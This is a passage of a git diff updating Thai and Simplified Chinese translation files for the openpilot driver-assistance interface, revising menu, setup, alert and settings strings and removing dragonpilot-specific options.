มีอัปเดตใหม่ + + + never + ไม่เคย + + + up to date, last checked %1 + ล่าสุดแล้ว ตรวจสอบครั้งสุดท้ายเมื่อ %1 + SshControl @@ -987,22 +1049,10 @@ This may take up to a minute. Show map on left side when in split screen view. แสดงแผนที่ด้านซ้ายของหน้าจอเมื่ออยู่ในโหมดแบ่งหน้าจอ - - Experimental openpilot Longitudinal Control - ทดลองใช้ระบบควบคุมการเร่ง/เบรคโดย openpilot - Experimental Mode โหมดทดลอง - - WARNING: openpilot longitudinal control is experimental for this car and will disable Automatic Emergency Braking (AEB). - คำเตือน: การควบคุมการเร่ง/เบรคโดย openpilot สำหรับรถคันนี้ยังอยู่ในขั้นพัฒนา และระบบเบรคฉุกเฉินอัตโนมัติ (AEB) จะถูกปิด - - - On this car, openpilot defaults to the car's built-in ACC instead of openpilot's longitudinal control. Enable this to switch to openpilot longitudinal control. Enabling Experimental mode is recommended when using experimental openpilot longitudinal control. - โดยปกติสำหรับรถคันนี้ openpilot จะควบคุมการเร่ง/เบรคด้วยระบบ ACC จากโรงงาน แทนการควยคุมโดย openpilot เปิดสวิตซ์นี้เพื่อให้ openpilot ควบคุมการเร่ง/เบรค แนะนำให้เปิดโหมดทดลองเมื่อต้องการให้ openpilot ควบคุมการเร่ง/เบรค ซึ่งอยู่ในขั้นพัฒนา - openpilot defaults to driving in <b>chill mode</b>. Experimental mode enables <b>alpha-level features</b> that aren't ready for chill mode. Experimental features are listed below: โดยปกติ openpilot จะขับใน<b>โหมดชิล</b> เปิดโหมดทดลองเพื่อใช้<b>ความสามารถในขั้นพัฒนา</b> ซึ่งยังไม่พร้อมสำหรับโหมดชิล ความสามารถในขั้นพัฒนามีดังนี้: @@ -1031,14 +1081,46 @@ This may take up to a minute. openpilot longitudinal control may come in a future update. ระบบควบคุมการเร่ง/เบรคโดย openpilot อาจมาในการอัปเดตในอนาคต - - An experimental version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - เวอร์ชันทดลองของระบบควบคุมการเร่ง/เบรคโดย openpilot สามารถทดสอบได้พร้อมกับโหมดการทดลอง บน branch ที่กำลังพัฒนา - Enable experimental longitudinal control to allow Experimental mode. เปิดระบบควบคุมการเร่ง/เบรคขั้นพัฒนาโดย openpilot เพื่อเปิดใช้งานโหมดทดลอง + + openpilot Longitudinal Control (Alpha) + ระบบควบคุมการเร่ง/เบรคโดย openpilot (Alpha) + + + WARNING: openpilot longitudinal control is in alpha for this car and will disable Automatic Emergency Braking (AEB). + คำเตือน: การควบคุมการเร่ง/เบรคโดย openpilot สำหรับรถคันนี้ยังอยู่ในสถานะ alpha และระบบเบรคฉุกเฉินอัตโนมัติ (AEB) จะถูกปิด + + + On this car, openpilot defaults to the car's built-in ACC instead of openpilot's longitudinal control. Enable this to switch to openpilot longitudinal control. Enabling Experimental mode is recommended when enabling openpilot longitudinal control alpha. + โดยปกติสำหรับรถคันนี้ openpilot จะควบคุมการเร่ง/เบรคด้วยระบบ ACC จากโรงงาน แทนการควยคุมโดย openpilot เปิดสวิตซ์นี้เพื่อให้ openpilot ควบคุมการเร่ง/เบรค แนะนำให้เปิดโหมดทดลองเมื่อต้องการให้ openpilot ควบคุมการเร่ง/เบรค ซึ่งอยู่ในสถานะ alpha + + + Aggressive + ดุดัน + + + Standard + มาตรฐาน + + + Relaxed + ผ่อนคลาย + + + Driving Personality + บุคลิกการขับขี่ + + + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. In relaxed mode openpilot will stay further away from lead cars. + แนะนำให้ใช้แบบมาตรฐาน ในโหมดดุดัน openpilot จะตามรถคันหน้าใกล้ขึ้นและเร่งและเบรคแบบดุดันมากขึ้น ในโหมดผ่อนคลาย openpilot จะอยู่ห่างจากรถคันหน้ามากขึ้น + + + An alpha version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. + ระบบควบคุมการเร่ง/เบรคโดย openpilot เวอร์ชัน alpha สามารถทดสอบได้พร้อมกับโหมดการทดลอง บน branch ที่กำลังพัฒนา + Updater @@ -1075,6 +1157,29 @@ This may take up to a minute. การอัปเดตล้มเหลว + + WiFiPromptWidget + + Setup Wi-Fi + ตั้งค่า Wi-Fi + + + Connect to Wi-Fi to upload driving data and help improve openpilot + เชื่อมต่อกับ Wi-Fi เพื่ออัปโหลดข้อมูลการขับขี่และช่วยปรับปรุง openpilot + + + Open Settings + เปิดการตั้งค่า + + + Uploading training data + กำลังอัปโหลดข้อมูลสำหรับการฝึก + + + Your data is used to train driving models and help improve openpilot + ข้อมูลของคุณถูกใช้เพื่อฝึกโมเดลการขับขี่และช่วยปรับปรุง openpilot + + WifiUI diff --git a/selfdrive/ui/translations/main_zh-CHS.ts b/selfdrive/ui/translations/main_zh-CHS.ts index 232068834..508cb7304 100644 --- a/selfdrive/ui/translations/main_zh-CHS.ts +++ b/selfdrive/ui/translations/main_zh-CHS.ts @@ -1,6 +1,6 @@ - + AbstractAlert @@ -20,15 +20,15 @@ AdvancedNetworking Back - 回上页 + 返回 Enable Tethering - 启用网路分享 + 启用WiFi热点 Tethering Password - 网路分享密码 + WiFi热点密码 EDIT @@ -36,58 +36,35 @@ Enter new tethering password - 输入新的网路分享密码 + 输入新的WiFi热点密码 IP Address - IP 地址 + IP地址 Enable Roaming - 启用漫游 + 启用数据漫游 APN Setting - APN 设置 + APN设置 Enter APN - 输入 APN + 输入APN leave blank for automatic configuration - 留空白将自动配置 + 留空以自动配置 Cellular Metered - 行动网路 + 按流量计费的手机移动网络 Prevent large data uploads when on a metered connection - 防止使用行动网路上传大量的数据 - - - - Alert - - openpilot Unavailable - 无法使用 dragonpilot - - - Waiting for controls to start - 等待控制服务开始 - - - TAKE CONTROL IMMEDIATELY - 立即接管控制 - - - Controls Unresponsive - 控制服务无回应 - - - Reboot Device - 重新启动设备 + 当使用按流量计费的连接时,避免上传大流量数据 @@ -102,313 +79,87 @@ MAX - 最高 + 最高定速 SPEED - 速度 + SPEED LIMIT - 速限 - - - - C2NetworkPanel - - Wi-Fi Settings - Wi-Fi 设定 - - - OPEN - 开启 - - - Tethering Settings - 热点设定 - - - IP Address - IP 地址 - - - - CarSelectionPanel - - [AUTO SELECT] - [自动选择] + LIMIT ConfirmationDialog Ok - 确定 + 好的 Cancel 取消 - - DPCtrlPanel - - When enabled, openpilot lateral Control will be always on when ACC MAIN is ON. -Reboot required. - 当启用时,当 ACC MAIN 为 ON,dragonpilot 的横向控制功能将一直保持开启。 -需要重新启动。 - - - Enable MapD - 启用 MapD 服务 - - - When enabled, openpilot will display current road name and speed limit on the screen. -Reboot required. - 当启用时,dragonpilot 将在萤幕上显示当前道路名称和速限。 -需要重新启动。 - - - Enable Lane Priority Mode - 启用车道线优先模式 - - - When enabled, openpilot will use lane lines for lateral control, fallback to laneless mode automatically when lane lines probabilities are low. -Reboot required. - 当启用时,dragonpilot 将使用车道线进行横向控制,在车道线概率较低时自动切换至无车道线模式。 -需要重新启动。 - - - Enable Auto Shutdown - 启用自动关机 - - - When enabled, openpilot will shutdown the device automatically. - Reboot required. - 启用后,dragonpilot 将会自动关闭设备。 - 需要重新启动。 - - - Auto Shutdown In - 自动关机倒数 - - - Adjust your shutdown waiting period. -0 = shutdown immediately. - 调整关机等待时间。 -0 = 立即关机。 - - - mins - 分钟 - - - Enable Stop and Go (SnG) Hack - 启用停止行走(SnG)修改 - - - When enabled, openpilot will stop sending standstill signal when the car is fully stopped. -ONLY WORK ON SOME VEHICLES. -Reboot Required. - 启用后,当车辆完全停止时,dragonpilot 将停止发送停止信号。 -仅适用于部分车辆。 -需要重新启动。 - - - Enable Door Auto Locking - 启用自动门锁定 - - - When enabled, openpilot will attempt to lock the doors when driving above 10 km/h (6.2 mph). -Reboot Required. - 启用后,当速度超过 10 km/h(6.2 mph)时,dragonpilot 将尝试锁定车门。 -需要重新启动。 - - - Enable Door Auto Unlocking - 启用自动解锁车门 - - - When enabled, openpilot will attempt to unlock the doors when shifting to gear P. -Reboot Required. - 启用后,当换档至 P 档时,dragonpilot 将尝试解锁车门。 -需要重新启动。 - - - When enabled, openpilot will use the good old 0.8.13.1 driving model. -For safety reason, vision-only openpilot longitudinal will be disabled. -Reboot required. - 启用后,dragonpilot 将使用旧版的0.8.13.1驾驶模型。 -出于安全考虑,仅基于视觉的 dragonpilot 纵向控制将被禁用。 -需要重新启动。 - - - Use 0.8.13.1 Driving Model - 使用 0.8.13.1 驾驶模型 - - - Ctrl - Lateral - 控制 - 横向 - - - Enable ALKA - 启用全时置中 - - - Ctrl - Longitudinal - 控制 - 纵向 - - - Device - 设备 - - - Ctrl - Overall - 控制 - 整体 - - - Toyota / Lexus - 丰田/雷克萨斯 - - - When enabled, openpilot will use the good old 0.8.13.1 driving model. -For safety reason, vision only openpilot longitudinal will be disabled. -Reboot required. - 启用后,dragonpilot 将使用优良的0.8.13.1驾驶模型。 -出于安全考虑,仅基于视觉的 dragonpilot 纵向控制将被禁用。 -需要重新启动。 - - - When enabled, openpilot will shutdown the device automatically. -Reboot required. - 启用后,dragonpilot 将自动关机。 -需要重新启动。 - - - When enabled, openpilot will attempt to lock the doors when drive above 10 km/h (6.2 mph). -Reboot Required. - 启用后,当速度超过 10 km/h(6.2 mph)时,dragonpilot 将尝试锁定车门。 -需要重新启动。 - - - When enabled, openpilot will attempt to unlock the doors when shift to gear P. -Reboot Required. - 启用后,当换到 P 档时,dragonpilot 将尝试解锁车门。 -需要重新启动。 - - - Disable Temp Check - 停用温度检查 - - - When enabled, openpilot will disable device temperature check. -**NOTED** An overheated device may result in random shutdowns or lag. -Reboot required. - 启用时,dragonpilot 将停用设备温度检查。 -**请注意** 过热的设备可能导致随机关机或卡顿。 -需要重新启动。 - - - Disable IR - 停用红外线 - - - When enabled, openpilot will disable IR completely. -Reboot required. - 启用时,dragonpilot 将完全停用红外线。 -需要重新启动。 - - - Standard - 标准 - - - On-Road - On-Road - - - MAIN - MAIN - - - OP - OP - - - Off - 关闭 - - - Display Mode - 显示模式 - - - On-Road - When driving, the display will be off (excl. warning). -MAIN - When ACC MAIN is on, the display will be off (excl. warning). -OP - When OP is enabled, the display will be off (excl. warning). -Off - the display will be off completely (incl. warning). -Reboot required. - On-Road - 在行驶时,显示将关闭(不包括警示)。 -MAIN - 当 ACC 主模式开启时,显示将关闭(不包括警示)。 -OP - 当 OP 功能启用时,显示将关闭(不包括警示)。 -关闭 - 显示将完全关闭(包括警示)。 -需要重新启动。 - - - Warning - 警示 - - - Audible Alert Mode - 提示声模式 - - - Warning - Only emits sound when there is a warning. -Off - Does not emit any sound at all. - 警示 - 只有在有警示时才发出提示声。 -关闭 - 完全不发出任何提示声。 - - - Adjust your shutdown waiting period. - 调整您的关机等待时间。 - - - Immediately - 马上关机 - - DeclinePage You must accept the Terms and Conditions in order to use openpilot. - 您必须先接受条款和条件才能使用 dragonpilot。 + 您必须接受条款和条件以使用openpilot。 Back - 回上页 + 返回 Decline, uninstall %1 - 拒绝并解除安装 %1 + 拒绝并卸载%1 + + + + DestinationWidget + + Home + + + + Work + + + + No destination set + + + + No %1 location set + + + + home + + + + work + DevicePanel Dongle ID - Dongle ID + 设备ID(Dongle ID) N/A - 无法使用 + N/A Serial - 序号 + 序列号 Driver Camera - 驾驶员监控镜头 + 驾驶员摄像头 PREVIEW @@ -416,11 +167,11 @@ Off - Does not emit any sound at all. Preview the driver facing camera to ensure that driver monitoring has good visibility. (vehicle must be off) - 预览驾驶员监控镜头画面,以确保其具有良好视野。(仅在熄火时可用) + 打开并预览驾驶员摄像头,以确保驾驶员监控具有良好视野。(仅熄火时可用) Reset Calibration - 重置校准 + 重置设备校准 RESET @@ -428,39 +179,39 @@ Off - Does not emit any sound at all. Are you sure you want to reset calibration? - 您确定要重置校准吗? + 您确定要重置设备校准吗? Review Training Guide - 观看使用教学 + 新手指南 REVIEW - 观看 + 查看 Review the rules, features, and limitations of openpilot - 观看 dragonpilot 的使用规则、功能和限制 + 查看openpilot的使用规则,以及其功能和限制。 Are you sure you want to review the training guide? - 您确定要观看使用教学吗? + 您确定要查看新手指南吗? Regulatory - 法规/监管 + 监管信息 VIEW - 观看 + 查看 Change Language - 更改语言 + 切换语言 CHANGE - 更改 + 切换 Select a language @@ -468,7 +219,7 @@ Off - Does not emit any sound at all. Reboot - 重新启动 + 重启 Power Off @@ -476,27 +227,27 @@ Off - Does not emit any sound at all. openpilot requires the device to be mounted within 4° left or right and within 5° up or 8° down. openpilot is continuously calibrating, resetting is rarely required. - dragonpilot 需要将设备固定在左右偏差 4° 以内,朝上偏差 5° 以内或朝下偏差 8° 以内。镜头在后台会持续自动校准,很少有需要重置的情况。 + openpilot要求设备安装的偏航角在左4°和右4°之间,俯仰角在上5°和下8°之间。一般来说,openpilot会持续更新校准,很少需要重置。 Your device is pointed %1° %2 and %3° %4. - 你的设备目前朝%2 %1° 以及朝%4 %3° 。 + 您的设备校准为%1° %2、%3° %4。 down - + 朝下 up - + 朝上 left - + 朝左 right - + 朝右 Are you sure you want to reboot? @@ -504,46 +255,30 @@ Off - Does not emit any sound at all. Disengage to Reboot - 请先取消控车才能重新启动 + 取消openpilot以重新启动 Are you sure you want to power off? - 您确定您要关机吗? + 您确定要关机吗? Disengage to Power Off - 请先取消控车才能关机 + 取消openpilot以关机 Reset - 重设 + 重置 Review - 回顾 - - - 除错控制台 - 除错控制台 - - - 显示 tmux 输出时发生错误。 - 显示 tmux 输出时发生错误。 - - - Debug Console - 除错控制台 - - - Error displaying tmux output. - 显示 tmux 输出时发生错误。 + 预览 DriveStats Drives - 旅程 + 旅程数 Hours @@ -551,11 +286,11 @@ Off - Does not emit any sound at all. ALL TIME - 总共 + 全部 PAST WEEK - 上周 + 过去一周 KM @@ -570,18 +305,18 @@ Off - Does not emit any sound at all. DriverViewScene camera starting - 开启相机中 + 正在启动相机 ExperimentalModeButton EXPERIMENTAL MODE ON - 实验模式 ON + 试验模式运行 CHILL MODE ON - 轻松模式 ON + 轻松模式运行 @@ -593,7 +328,7 @@ Off - Does not emit any sound at all. Need at least %n character(s)! - 需要至少 %n 个字元! + 至少需要 %n 个字符! @@ -601,14 +336,14 @@ Off - Does not emit any sound at all. Installer Installing... - 安装中… + 正在安装…… MapETA eta - 抵达 + 埃塔 min @@ -647,44 +382,14 @@ Off - Does not emit any sound at all. - MapPanel + MapSettings - Current Destination - 当前目的地 + NAVIGATION + - CLEAR - 清除 - - - Recent Destinations - 最近目的地 - - - Try the Navigation Beta - 试用导航功能 - - - Get turn-by-turn directions displayed and more with a comma -prime subscription. Sign up now: https://connect.comma.ai - 成为 comma 高级会员来使用导航功能 -立即註册:https://connect.comma.ai - - - No home -location set - 未设定 -住家位置 - - - No work -location set - 未设定 -工作位置 - - - no recent destinations - 没有最近的导航记录 + Manage at connect.comma.ai + @@ -697,6 +402,10 @@ location set Waiting for GPS 等待 GPS + + Waiting for route + + MultiOptionDialog @@ -713,7 +422,7 @@ location set Networking Advanced - 进阶 + 高级 Enter password @@ -721,13 +430,69 @@ location set for "%1" - 给 "%1" + 网络名称:"%1" Wrong password 密码错误 + + OffroadAlert + + Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1 + + + + Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates. + + + + Unable to download updates +%1 + + + + Invalid date and time settings, system won't start. Connect to internet to set time. + + + + Taking camera snapshots. System won't start until finished. + + + + An update to your device's operating system is downloading in the background. You will be prompted to update when it's ready to install. + + + + Device failed to register. It will not connect to or upload to comma.ai servers, and receives no support from comma.ai. If this is an official device, visit https://comma.ai/support. + + + + NVMe drive not mounted. + + + + Unsupported NVMe drive detected. Device may draw significantly more power and overheat due to the unsupported NVMe. + + + + openpilot was unable to identify your car. Your car is either unsupported or its ECUs are not recognized. Please submit a pull request to add the firmware versions to the proper vehicle. Need help? Join discord.comma.ai. + + + + openpilot was unable to identify your car. Check integrity of cables and ensure all connections are secure, particularly that the comma power is fully inserted in the OBD-II port of the vehicle. Need help? Join discord.comma.ai. + + + + openpilot detected a change in the device's mounting position. Ensure the device is fully seated in the mount and the mount is firmly secured to the windshield. + + + + Device temperature too high. System cooling down before starting. Current internal component temperature: %1 + + + OffroadHome @@ -736,30 +501,30 @@ location set ALERTS - 提醒 + 警报 ALERT - 提醒 + 警报 PairingPopup Pair your device to your comma account - 将设备与您的 comma 帐号配对 + 将您的设备与comma账号配对 Go to https://connect.comma.ai on your phone - 用手机连至 https://connect.comma.ai + 在手机上访问 https://connect.comma.ai Click "add new device" and scan the QR code on the right - 点选 "add new device" 后扫描右边的二维码 + 点击“添加新设备”,扫描右侧二维码 Bookmark connect.comma.ai to your home screen to use it like an app - 将 connect.comma.ai 加入您的主屏幕,以便像手机 App 一样使用它 + 将 connect.comma.ai 收藏到您的主屏幕,以便像应用程序一样使用它 @@ -777,27 +542,31 @@ location set PrimeAdWidget Upgrade Now - 马上升级 + 现在升级 Become a comma prime member at connect.comma.ai - 成为 connect.comma.ai 的高级会员 + 打开connect.comma.ai以注册comma prime会员 PRIME FEATURES: - 高级会员特点: + comma prime特权: Remote access 远程访问 - 1 year of storage - 一年的云端行车记录 + 24/7 LTE connectivity + - Developer perks - 开发者福利 + Turn-by-turn navigation + + + + 1 year of drive storage + @@ -808,26 +577,26 @@ location set comma prime - comma 高级会员 + comma prime QObject Reboot - 重新启动 + 重启 Exit - 离开 + 退出 dashcam - 行车记录器 + 行车记录仪 openpilot - dragonpilot + openpilot %n minute(s) ago @@ -852,15 +621,15 @@ location set Reset Reset failed. Reboot to try again. - 重置失败。请重新启动后再试。 + 重置失败。 重新启动以重试。 Are you sure you want to reset your device? - 您确定要重置你的设备吗? + 您确定要重置您的设备吗? System Reset - 系统重置 + 恢复出厂设置 Cancel @@ -868,7 +637,7 @@ location set Reboot - 重新启动 + 重启 Confirm @@ -876,16 +645,16 @@ location set Unable to mount data partition. Partition may be corrupted. Press confirm to erase and reset your device. - 无法挂载资料分割区 分割区可能已经毁损 请确认是否要删除并重新设定 + Press confirm to erase all content and settings. Press cancel to resume boot. - 按下确认以删除所有内容及设定 按下取消来继续开机 + Resetting device... This may take up to a minute. - 设备重置中 此过程可能需要几分钟 + @@ -900,7 +669,7 @@ This may take up to a minute. Network - 网路 + 网络 Toggles @@ -908,30 +677,18 @@ This may take up to a minute. Software - 软体 - - - Navigation - 导航 - - - Vehicle Model: - 车辆型号: - - - [AUTO SELECT] - [自动选择] + 软件 Setup WARNING: Low Voltage - 警告:电压过低 + 警告:低电压 Power your device in a car with a harness or proceed at your own risk. - 请使用车上 harness 提供的电源,若继续的话您需要自担风险。 + 请使用car harness线束为您的设备供电,或自行承担风险。 Power off @@ -943,27 +700,27 @@ This may take up to a minute. Getting Started - 入门 + 开始设置 Before we get on the road, let’s finish installation and cover some details. - 在我们上路之前,让我们完成安装并介绍一些细节。 + 开始旅程之前,让我们完成安装并介绍一些细节。 Connect to Wi-Fi - 连接到无线网络 + 连接到WiFi Back - 回上页 + 返回 Continue without Wi-Fi - 在没有 Wi-Fi 的情况下继续 + 不连接WiFi并继续 Waiting for internet - 连接至网路中 + 等待网络连接 Enter URL @@ -971,11 +728,11 @@ This may take up to a minute. for Custom Software - 定制的软体 + 以下载自定义软件 Downloading... - 下载中… + 正在下载…… Download Failed @@ -983,23 +740,23 @@ This may take up to a minute. Ensure the entered URL is valid, and the device’s internet connection is good. - 请确定您输入的是有效的安装网址,并且确定设备的网路连线状态良好。 + 请确保互联网连接良好且输入的URL有效。 Reboot device - 重新启动 + 重启设备 Start over - 重新开始 + 重来 No custom software found at this URL. - 无法在此URL找到定制的软体 + Something went wrong. Reboot the device. - 发生了一些错误 请重新启动您的设备 + @@ -1010,7 +767,7 @@ This may take up to a minute. Pair your device with comma connect (connect.comma.ai) and claim your comma prime offer. - 将您的设备与 comma connect (connect.comma.ai) 配对并领取您的 comma 高级会员优惠。 + 将您的设备与comma connect (connect.comma.ai)配对并领取您的comma prime优惠。 Pair device @@ -1021,31 +778,31 @@ This may take up to a minute. Sidebar CONNECT - 云端服务 + CONNECT OFFLINE - 已离线 + 离线 ONLINE - 已连线 + 在线 ERROR - 错误 + 连接出错 TEMP - 温度 + 设备温度 HIGH - 偏高 + 过热 GOOD - 正常 + 良好 OK @@ -1053,15 +810,15 @@ This may take up to a minute. VEHICLE - 车辆通讯 + 车辆连接 NO - 未连线 + PANDA - 车辆通讯 + PANDA GPS @@ -1069,7 +826,7 @@ This may take up to a minute. SEARCH - 车辆通讯 + 搜索中 -- @@ -1077,34 +834,34 @@ This may take up to a minute. Wi-Fi - + Wi-Fi ETH - + 以太网 2G - + 2G 3G - + 3G LTE - + LTE 5G - + 5G SoftwarePanel Updates are only downloaded while the car is off. - 系统更新只会在熄火时下载。 + 车辆熄火时才能下载升级文件。 Current Version @@ -1128,82 +885,82 @@ This may take up to a minute. SELECT - 选取 + 选择 Select a branch - 选取一个分支 + 选择分支 UNINSTALL - 解除安装 + 卸载 Uninstall %1 - 解除安装 %1 + 卸载 %1 Are you sure you want to uninstall? - 您确定您要解除安装吗? + 您确定要卸载吗? CHECK - 检查 + 查看 Uninstall - 解除安装 + 卸载 failed to check for update - 检查更新失败 + up to date, last checked %1 - 已是最新版本,上次检查时间:%1 + DOWNLOAD - 下载 + update available - 有可用的更新 + never - 从未更新 + SshControl SSH Keys - SSH 密钥 + SSH密钥 Warning: This grants SSH access to all public keys in your GitHub settings. Never enter a GitHub username other than your own. A comma employee will NEVER ask you to add their GitHub username. - 警告:这将授权给 GitHub 帐号中所有公钥 SSH 访问权限。切勿输入非您自己的 GitHub 用户名。comma 员工「永远不会」要求您添加他们的 GitHub 用户名。 + 警告:这将授予SSH访问权限给您GitHub设置中的所有公钥。切勿输入您自己以外的GitHub用户名。comma员工永远不会要求您添加他们的GitHub用户名。 ADD - 新增 + 添加 Enter your GitHub username - 请输入您 GitHub 的用户名 + 输入您的GitHub用户名 LOADING - 载入中 + 正在加载 REMOVE - 移除 + 删除 Username '%1' has no keys on GitHub - GitHub 用户 '%1' 没有设定任何密钥 + 用户名“%1”在GitHub上没有密钥 Request timed out @@ -1211,14 +968,14 @@ This may take up to a minute. Username '%1' doesn't exist on GitHub - GitHub 用户 '%1' 不存在 + GitHub上不存在用户名“%1” SshToggle Enable SSH - 启用 SSH 服务 + 启用SSH @@ -1233,22 +990,22 @@ This may take up to a minute. Scroll to accept - 滑动至页尾接受条款 + 滑动以接受 Agree - 接受 + 同意 TogglesPanel Enable openpilot - 启用 dragonpilot + 启用openpilot Use the openpilot system for adaptive cruise control and lane keep driver assistance. Your attention is required at all times to use this feature. Changing this setting takes effect when the car is powered off. - 使用 dragonpilot 的主动式巡航和车道保持功能,开启后您需要持续集中注意力,设定变更在重新启动车辆后生效。 + 使用openpilot进行自适应巡航和车道保持辅助。使用此功能时您必须时刻保持注意力。该设置的更改在熄火时生效。 Enable Lane Departure Warnings @@ -1256,7 +1013,7 @@ This may take up to a minute. Receive alerts to steer back into the lane when your vehicle drifts over a detected lane line without a turn signal activated while driving over 31 mph (50 km/h). - 车速在时速 50 公里 (31 英里) 以上且未打方向灯的情况下,如果侦测到车辆驶出目前车道线时,发出车道偏离警告。 + 车速超过31mph(50km/h)时,若检测到车辆越过车道线且未打转向灯,系统将发出警告以提醒您返回车道。 Use Metric System @@ -1264,182 +1021,134 @@ This may take up to a minute. Display speed in km/h instead of mph. - 启用后,速度单位显示将从 mp/h 改为 km/h。 + 显示车速时,以km/h代替mph。 Record and Upload Driver Camera - 记录并上传驾驶监控影像 + 录制并上传驾驶员摄像头 Upload data from the driver facing camera and help improve the driver monitoring algorithm. - 上传驾驶监控的录像来协助我们提升驾驶监控的准确率。 + 上传驾驶员摄像头的数据,帮助改进驾驶员监控算法。 Disengage on Accelerator Pedal - 油门取消控车 + 踩油门时取消控制 When enabled, pressing the accelerator pedal will disengage openpilot. - 启用后,踩踏油门将会取消 dragonpilot 控制。 + 启用后,踩下油门踏板将取消openpilot。 Show ETA in 24h Format - 预计到达时间单位改用 24 小时制 + 以24小时格式显示预计到达时间 Use 24h format instead of am/pm - 使用 24 小时制。(预设值为 12 小时制) + 使用24小时制代替am/pm Show Map on Left Side of UI - 将地图显示在画面的左侧 + 在介面左侧显示地图 Show map on left side when in split screen view. - 进入分割画面后,地图将会显示在画面的左侧。 + 在分屏模式中,将地图置于屏幕左侧。 Experimental Mode - 实验模式 + 测试模式 openpilot defaults to driving in <b>chill mode</b>. Experimental mode enables <b>alpha-level features</b> that aren't ready for chill mode. Experimental features are listed below: - dragonpilot 预设以 <b>轻松模式</b> 驾驶。 实验模式启用了尚未准备好进入轻松模式的 <b>alpha 级功能</b>。实验功能如下: + openpilot 默认 <b>轻松模式</b>驾驶车辆。试验模式启用一些轻松模式之外的 <b>试验性功能</b>。试验性功能包括: 🌮 End-to-End Longitudinal Control 🌮 - 🌮端到端纵向控制🌮 + 🌮 端到端(End-to-End) 纵向控制 🌮 Let the driving model control the gas and brakes. openpilot will drive as it thinks a human would, including stopping for red lights and stop signs. Since the driving model decides the speed to drive, the set speed will only act as an upper bound. This is an alpha quality feature; mistakes should be expected. - 让驾驶模型来控制油门及煞车。dragonpilot 将会模拟人类的驾驶行为,包含在看见红灯及停止标示时停车。由于车速将由驾驶模型决定,因此您设定的时速将成为速度上限。本功能仍在早期实验阶段,请预期模型有犯错的可能性。 + 允许驾驶模型控制加速和制动,openpilot将模仿人类驾驶车辆,包括在红灯和停车让行标识前停车。鉴于驾驶模型确定行驶车速,所设定的车速仅作为上限。此功能尚处于早期测试状态,有可能会出现操作错误。 New Driving Visualization - 新的驾驶视觉介面 + 新驾驶视角 The driving visualization will transition to the road-facing wide-angle camera at low speeds to better show some turns. The Experimental mode logo will also be shown in the top right corner. - 低速行驶时,将会切换成路侧广角镜头,以完整显示转弯路径,右上角将出现实验模式图案。 + 当低速行驶时,驾驶视角将切换到前向广角摄像头,便于更完整地显示转向路径。右上角将显示试验模式图标。 Experimental mode is currently unavailable on this car since the car's stock ACC is used for longitudinal control. - 因车辆使用内建ACC系统,无法在本车辆上启动实验模式。 + 由于此车辆使用自带的ACC纵向控制,当前无法使用试验模式。 openpilot longitudinal control may come in a future update. - 未来可能会推出 dragonpilot 纵向控制 - - - An experimental version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - 在非发行分支中 可找到包含实验模式的 dragonpilot 纵向控制测试版本 - - - Enable experimental longitudinal control to allow Experimental mode. - 启用实验性纵向控制以使用实验模式。 + openpilot Longitudinal Control (Alpha) - dragonpilot 纵向控制(Alpha 版) + WARNING: openpilot longitudinal control is in alpha for this car and will disable Automatic Emergency Braking (AEB). - 警告: dragonpilot 纵向控制对于此车辆处于测试阶段(Alpha 版),并将停用自动紧急制动(AEB)。 + On this car, openpilot defaults to the car's built-in ACC instead of openpilot's longitudinal control. Enable this to switch to openpilot longitudinal control. Enabling Experimental mode is recommended when enabling openpilot longitudinal control alpha. - 在这辆车上,dragonpilot 默认使用车辆内置的 ACC 而不是 dragonpilot 的纵向控制。启用此选项以切换至 dragonpilot 的纵向控制。建议在启用 dragonpilot 纵向控制 Alpha 版时启用实验模式。 + Aggressive - 积极 + Standard - 标准 + Relaxed - 舒适 + Driving Personality - 驾驶风格 + - Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. - 推荐使用标准模式。在积极模式下,dragonpilot 将更紧密地跟随前车,并更积极的控制油门和刹车。 + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. In relaxed mode openpilot will stay further away from lead cars. + - Enable Right-Hand Drive - 启用右驾模式 + An alpha version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. + - Allow openpilot to obey left-hand traffic conventions and perform driver monitoring on right driver seat. - 允许 dragonpilot 遵守左侧交通规则并在右侧驾驶座上进行驾驶者监控。 + Navigate on openpilot + - Enable ALKA - 启用全时置中 + When navigation has a destination, openpilot will input the map information into the model. This generally improves behavior and allows openpilot to keep left or right appropriately at forks/exits and take turns. Lane change behavior is unchanged and still activated by the driver. This is an alpha quality feature; mistakes should be expected. + - When enabled, openpilot lateral Control will be always on when ACC MAIN is ON. - Reboot required. - 启用后,当 ACC 系统开关开启时,dragonpilot 的横向控制将始终保持开启状态。 - 需要重新启动。 - - - Enable MapD - 启用 MapD - - - When enabled, openpilot will display current road name and speed limit on the screen. - Reboot required. - 启用后,dragonpilot 将在屏幕上显示当前道路名称和速度限制。 - 需要重新启动。 - - - Enable Lane Priority Mode - 启用车道优先模式 - - - When enabled, openpilot will use lane lines for lateral control, fallback to laneless mode automatically when lane lines probabilities are low. - Reboot required. - 启用后,dragonpilot 将使用车道线进行横向控制,当车道线概率较低时,将自动切换至无车道模式。 - 需要重新启动。 - - - When enabled, openpilot lateral Control will be always on when ACC MAIN is ON. -Reboot required. - 当启用时,当 ACC MAIN 为 ON,dragonpilot 的横向控制功能将一直保持开启。 -需要重新启动。 - - - When enabled, openpilot will display current road name and speed limit on the screen. -Reboot required. - 当启用时,dragonpilot 将在萤幕上显示当前道路名称和速限。 -需要重新启动。 - - - When enabled, openpilot will use lane lines for lateral control, fallback to laneless mode automatically when lane lines probabilities are low. -Reboot required. - 当启用时,dragonpilot 将使用车道线进行横向控制,在车道线概率较低时自动切换至无车道线模式。 -需要重新启动。 + Enable the openpilot longitudinal control (alpha) toggle to allow Experimental mode. + Updater Update Required - 系统更新 + 需要更新 An operating system update is required. Connect your device to Wi-Fi for the fastest update experience. The download size is approximately 1GB. - 设备的操作系统需要更新。请将您的设备连接到 Wi-Fi 以获得最快的更新体验。下载大小约为 1GB。 + 操作系统需要更新。请将您的设备连接到WiFi以获取更快的更新体验。下载大小约为1GB。 Connect to 